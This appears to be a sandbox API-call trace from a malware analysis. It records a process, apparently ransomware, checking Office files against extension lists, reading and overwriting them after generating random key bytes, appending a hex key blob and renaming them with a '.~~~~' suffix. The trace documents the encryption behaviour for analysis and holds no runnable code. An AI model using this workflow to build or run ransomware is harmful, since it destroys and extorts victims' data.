	[0140.623] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir28f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir28f.gif.~~~~")) returned 1
	[0140.626] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5030 | out: hHeap=0x300000) returned 1
	[0140.626] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0140.626] GetLastError () returned 0x0
	[0140.626] RtlWakeConditionVariable () returned 0x0
	[0140.626] GetCurrentThreadId () returned 0x9f4
	[0140.626] GetCurrentThreadId () returned 0x9f4
	[0140.626] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ceab8
	[0140.626] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e82c0 | out: hHeap=0x300000) returned 1
	[0140.626] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d1f0 | out: hHeap=0x300000) returned 1
	[0140.626] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e82c0
	[0140.626] lstrlenW (lpString=".scr") returned 4
	[0140.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".scr") returned 0x0
	[0140.626] lstrlenW (lpString=".cmd") returned 4
	[0140.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".cmd") returned 0x0
	[0140.627] lstrlenW (lpString=".dll") returned 4
	[0140.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".dll") returned 0x0
	[0140.627] lstrlenW (lpString=".bat") returned 4
	[0140.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".bat") returned 0x0
	[0140.627] lstrlenW (lpString=".cpl") returned 4
	[0140.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".cpl") returned 0x0
	[0140.627] lstrlenW (lpString=".sys") returned 4
	[0140.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".sys") returned 0x0
	[0140.627] lstrlenW (lpString=".msc") returned 4
	[0140.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".msc") returned 0x0
	[0140.627] lstrlenW (lpString=".com") returned 4
	[0140.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".com") returned 0x0
	[0140.627] lstrlenW (lpString=".lnk") returned 4
	[0140.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".lnk") returned 0x0
	[0140.627] lstrlenW (lpString=".msp") returned 4
	[0140.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".msp") returned 0x0
	[0140.627] lstrlenW (lpString=".pif") returned 4
	[0140.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".pif") returned 0x0
	[0140.627] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0140.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0140.627] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir29b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0140.629] lstrlenW (lpString=".sqb") returned 4
	[0140.629] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".sqb") returned 0x0
	[0140.630] lstrlenW (lpString=".ost") returned 4
	[0140.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".ost") returned 0x0
	[0140.630] lstrlenW (lpString=".txt") returned 4
	[0140.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".txt") returned 0x0
	[0140.630] lstrlenW (lpString=".mdt") returned 4
	[0140.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".mdt") returned 0x0
	[0140.630] lstrlenW (lpString=".BDB") returned 4
	[0140.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".BDB") returned 0x0
	[0140.630] lstrlenW (lpString=".eql") returned 4
	[0140.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".eql") returned 0x0
	[0140.630] lstrlenW (lpString=".DBF") returned 4
	[0140.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".DBF") returned 0x0
	[0140.630] lstrlenW (lpString=".EQL") returned 4
	[0140.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".EQL") returned 0x0
	[0140.630] lstrlenW (lpString=".FDB") returned 4
	[0140.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".FDB") returned 0x0
	[0140.630] lstrlenW (lpString=".EDB") returned 4
	[0140.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".EDB") returned 0x0
	[0140.630] lstrlenW (lpString=".DACPAC") returned 7
	[0140.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".DACPAC") returned 0x0
	[0140.630] lstrlenW (lpString=".VHD") returned 4
	[0140.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".VHD") returned 0x0
	[0140.630] lstrlenW (lpString=".DBV") returned 4
	[0140.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".DBV") returned 0x0
	[0140.631] lstrlenW (lpString=".dacpac") returned 7
	[0140.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".dacpac") returned 0x0
	[0140.631] lstrlenW (lpString=".sdf") returned 4
	[0140.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".sdf") returned 0x0
	[0140.631] lstrlenW (lpString=".accdb") returned 6
	[0140.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".accdb") returned 0x0
	[0140.631] lstrlenW (lpString=".DBX") returned 4
	[0140.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".DBX") returned 0x0
	[0140.631] lstrlenW (lpString=".MDT") returned 4
	[0140.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".MDT") returned 0x0
	[0140.631] lstrlenW (lpString=".SQB") returned 4
	[0140.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".SQB") returned 0x0
	[0140.631] lstrlenW (lpString=".vhd") returned 4
	[0140.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".vhd") returned 0x0
	[0140.631] lstrlenW (lpString=".bac") returned 4
	[0140.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".bac") returned 0x0
	[0140.631] lstrlenW (lpString=".mdf") returned 4
	[0140.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".mdf") returned 0x0
	[0140.631] lstrlenW (lpString=".BAK") returned 4
	[0140.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".BAK") returned 0x0
	[0140.631] lstrlenW (lpString=".BAC") returned 4
	[0140.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".BAC") returned 0x0
	[0140.631] lstrlenW (lpString=".dbs") returned 4
	[0140.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".dbs") returned 0x0
	[0140.631] lstrlenW (lpString=".vhdx") returned 5
	[0140.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".vhdx") returned 0x0
	[0140.632] lstrlenW (lpString=".NDF") returned 4
	[0140.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".NDF") returned 0x0
	[0140.632] lstrlenW (lpString=".dat") returned 4
	[0140.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".dat") returned 0x0
	[0140.632] lstrlenW (lpString=".DBS") returned 4
	[0140.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".DBS") returned 0x0
	[0140.632] lstrlenW (lpString=".CKP") returned 4
	[0140.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".CKP") returned 0x0
	[0140.632] lstrlenW (lpString=".edb") returned 4
	[0140.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".edb") returned 0x0
	[0140.632] lstrlenW (lpString=".PST") returned 4
	[0140.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".PST") returned 0x0
	[0140.632] lstrlenW (lpString=".dbf") returned 4
	[0140.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".dbf") returned 0x0
	[0140.632] lstrlenW (lpString=".SQL") returned 4
	[0140.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".SQL") returned 0x0
	[0140.632] lstrlenW (lpString=".pst") returned 4
	[0140.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".pst") returned 0x0
	[0140.632] lstrlenW (lpString=".dbv") returned 4
	[0140.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".dbv") returned 0x0
	[0140.632] lstrlenW (lpString=".SDF") returned 4
	[0140.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".SDF") returned 0x0
	[0140.632] lstrlenW (lpString=".dtxs") returned 5
	[0140.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".dtxs") returned 0x0
	[0140.633] lstrlenW (lpString=".db3") returned 4
	[0140.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".db3") returned 0x0
	[0140.633] lstrlenW (lpString=".OST") returned 4
	[0140.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".OST") returned 0x0
	[0140.633] lstrlenW (lpString=".dbx") returned 4
	[0140.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".dbx") returned 0x0
	[0140.633] lstrlenW (lpString=".DB3") returned 4
	[0140.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".DB3") returned 0x0
	[0140.633] lstrlenW (lpString=".DAT") returned 4
	[0140.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".DAT") returned 0x0
	[0140.633] lstrlenW (lpString=".VHDX") returned 5
	[0140.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".VHDX") returned 0x0
	[0140.633] lstrlenW (lpString=".ndf") returned 4
	[0140.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".ndf") returned 0x0
	[0140.633] lstrlenW (lpString=".DB") returned 3
	[0140.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".DB") returned 0x0
	[0140.633] lstrlenW (lpString=".sql") returned 4
	[0140.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".sql") returned 0x0
	[0140.633] lstrlenW (lpString=".MYD") returned 4
	[0140.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".MYD") returned 0x0
	[0140.633] lstrlenW (lpString=".DBT") returned 4
	[0140.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".DBT") returned 0x0
	[0140.633] lstrlenW (lpString=".ACCDB") returned 6
	[0140.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".ACCDB") returned 0x0
	[0140.633] lstrlenW (lpString=".fdb") returned 4
	[0140.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".fdb") returned 0x0
	[0140.634] lstrlenW (lpString=".bak") returned 4
	[0140.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".bak") returned 0x0
	[0140.634] lstrlenW (lpString=".myd") returned 4
	[0140.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".myd") returned 0x0
	[0140.634] lstrlenW (lpString=".DTXS") returned 5
	[0140.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".DTXS") returned 0x0
	[0140.634] lstrlenW (lpString=".ckp") returned 4
	[0140.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".ckp") returned 0x0
	[0140.634] lstrlenW (lpString=".dbt") returned 4
	[0140.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".dbt") returned 0x0
	[0140.634] lstrlenW (lpString=".db") returned 3
	[0140.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".db") returned 0x0
	[0140.634] lstrlenW (lpString=".TXT") returned 4
	[0140.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".TXT") returned 0x0
	[0140.634] lstrlenW (lpString=".MDF") returned 4
	[0140.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".MDF") returned 0x0
	[0140.634] lstrlenW (lpString=".bdb") returned 4
	[0140.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".bdb") returned 0x0
	[0140.634] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0140.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0140.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0140.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0140.635] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0140.636] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0140.636] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0140.636] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0140.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0140.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0140.636] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26062661692) returned 1
	[0140.637] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbd3ae690, dwHighDateTime=0x1d60e1e)) 
	[0140.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0140.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0140.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0140.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38d1f0
	[0140.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0140.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d1f0 | out: hHeap=0x300000) returned 1
	[0140.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0140.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0140.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29b09d0
	[0140.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0140.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0140.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b09d0 | out: hHeap=0x300000) returned 1
	[0140.637] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0140.638] GetLastError () returned 0x0
	[0140.638] GetLastError () returned 0x0
	[0140.638] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0140.638] GetLastError () returned 0x0
	[0140.638] GetLastError () returned 0x0
	[0140.638] ReadFile (in: hFile=0x138, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x25dfec0*=0x11b3, lpOverlapped=0x0) returned 1
	[0140.652] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffee4d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.652] WriteFile (in: hFile=0x138, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x11b3, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x11b3, lpOverlapped=0x0) returned 1
	[0140.652] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0140.652] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.652] WriteFile (in: hFile=0x138, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0140.652] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0140.652] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0140.653] CloseHandle (hObject=0x138) returned 1
	[0140.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29b09d0
	[0140.653] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir29b.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir29b.gif.~~~~")) returned 1
	[0140.656] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b09d0 | out: hHeap=0x300000) returned 1
	[0140.656] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0140.656] GetLastError () returned 0x0
	[0140.657] RtlWakeConditionVariable () returned 0x0
	[0140.657] GetCurrentThreadId () returned 0x9f4
	[0140.657] GetCurrentThreadId () returned 0x9f4
	[0140.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0140.657] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0d30 | out: hHeap=0x300000) returned 1
	[0140.657] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d180 | out: hHeap=0x300000) returned 1
	[0140.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0d30
	[0140.657] lstrlenW (lpString=".scr") returned 4
	[0140.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".scr") returned 0x0
	[0140.657] lstrlenW (lpString=".cmd") returned 4
	[0140.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".cmd") returned 0x0
	[0140.657] lstrlenW (lpString=".dll") returned 4
	[0140.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".dll") returned 0x0
	[0140.657] lstrlenW (lpString=".bat") returned 4
	[0140.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".bat") returned 0x0
	[0140.657] lstrlenW (lpString=".cpl") returned 4
	[0140.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".cpl") returned 0x0
	[0140.657] lstrlenW (lpString=".sys") returned 4
	[0140.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".sys") returned 0x0
	[0140.657] lstrlenW (lpString=".msc") returned 4
	[0140.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".msc") returned 0x0
	[0140.658] lstrlenW (lpString=".com") returned 4
	[0140.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".com") returned 0x0
	[0140.658] lstrlenW (lpString=".lnk") returned 4
	[0140.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".lnk") returned 0x0
	[0140.658] lstrlenW (lpString=".msp") returned 4
	[0140.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".msp") returned 0x0
	[0140.658] lstrlenW (lpString=".pif") returned 4
	[0140.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".pif") returned 0x0
	[0140.658] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0140.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch="msp\r\n.pif") returned 0x0
